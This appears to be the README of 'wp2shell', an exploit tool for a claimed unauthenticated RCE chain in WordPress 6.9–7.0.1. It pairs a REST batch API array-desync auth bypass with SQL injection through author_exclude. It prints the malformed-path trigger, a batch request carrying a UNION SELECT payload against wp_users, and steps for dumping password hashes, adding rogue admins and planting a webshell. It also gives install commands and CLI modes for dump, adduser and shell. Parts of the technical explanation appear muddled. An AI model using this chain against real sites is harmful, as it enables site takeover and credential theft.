Pre-auth RCE proof-of-concept chaining a WordPress REST batch API auth bypass with WP_Query SQL injection to dump hashes, add admin users, or plant a webshell.
Pre-Auth RCE PoC - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
For authorized penetration testing and security research only. Running this against systems without written authorization is illegal. The authors accept no liability for misuse.
wp2shell is a proof-of-concept exploit that chains two independently-reported vulnerabilities to achieve unauthenticated remote code execution on unpatched WordPress installations.
| CVE | Component | Class | Auth Required |
|---|---|---|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | Array desync → auth bypass | None |
| CVE-2026-60137 | WP_Query | SQL injection via author__not_in | None (bypassed by above) |
The end result: a shell on the box, a rogue administrator account, or a dumped credential hash — all from a single unauthenticated POST request.
Affected versions: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Fixed in: WordPress 6.9.5 / 7.0.2 (patch released alongside coordinated disclosure)
WordPress 5.6 introduced the batch processing endpoint at /wp-json/batch/v1. It allows authenticated REST clients to bundle multiple sub-requests into a single HTTP round-trip. Each sub-request is independently validated and dispatched by WP_REST_Server::serve_batch_request_v1().
Inside serve_batch_request_v1() (simplified):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
The two arrays ($responses and $matches) are expected to stay in sync — one entry per sub-request, same index. When sub-request [0] fails wp_parse_url(), it adds an entry to $responses but not to $matches. After the first loop:
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
Loop 2 then dispatches $matches[0] and writes the result to $responses[0]. It is dispatching request[1] but overwriting index 0 in responses — and critically, it uses the permission context that was computed as part of the failed request[0]'s error handling, not the permission context for the target endpoint.
The practical effect: any endpoint that requires authentication (including endpoints that perform SQL queries) can be called without credentials.
"path": "://\x00" # triggers wp_parse_url() → false
The string ://\x00 is a valid Python string but an invalid URL in PHP's wp_parse_url() wrapper (the null byte causes the parse to fail, returning false rather than a WP_Error, which makes the is_wp_error() guard useless — only $parsed === false catches it, and the array alignment is already broken by that point).
WP_Query author__not_in SQL InjectionThe WordPress REST API for posts (/wp/v2/posts) exposes an author_exclude query parameter that maps directly to WP_Query's author__not_in argument. WP_Query is the core database abstraction used for nearly every content query in WordPress.
In WP_Query::parse_query() (simplified):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
Later in WP_Query::get_posts():
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
The sanitization only fires when $author__not_in is an array. PHP's type system determines this based on how the value arrived:
[1, 2, 3] → is_array() = true → sanitized"1,2,3" (a string) → is_array() = false → not sanitizedThe REST endpoint accepts author_exclude from the URL query string. It arrives as a string. WP_Query skips the sanitization block, and the raw value is interpolated into the SQL WHERE clause.
The injection point lands inside a NOT IN (...) context:
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
Because the batch endpoint dispatches the sub-request as part of a larger query result, the UNION rows are returned in the REST JSON response body, making this a Boolean/UNION blind-free extraction — no timing, no out-of-band needed.
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
Install dependencies:
pip install requests cloudscraper
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
[--cmd CMD] [--user USER] [--password PASSWORD]
[--prefix PREFIX] [--proxy PROXY]
[--no-interactive] [--debug] [--cookie COOKIE]
target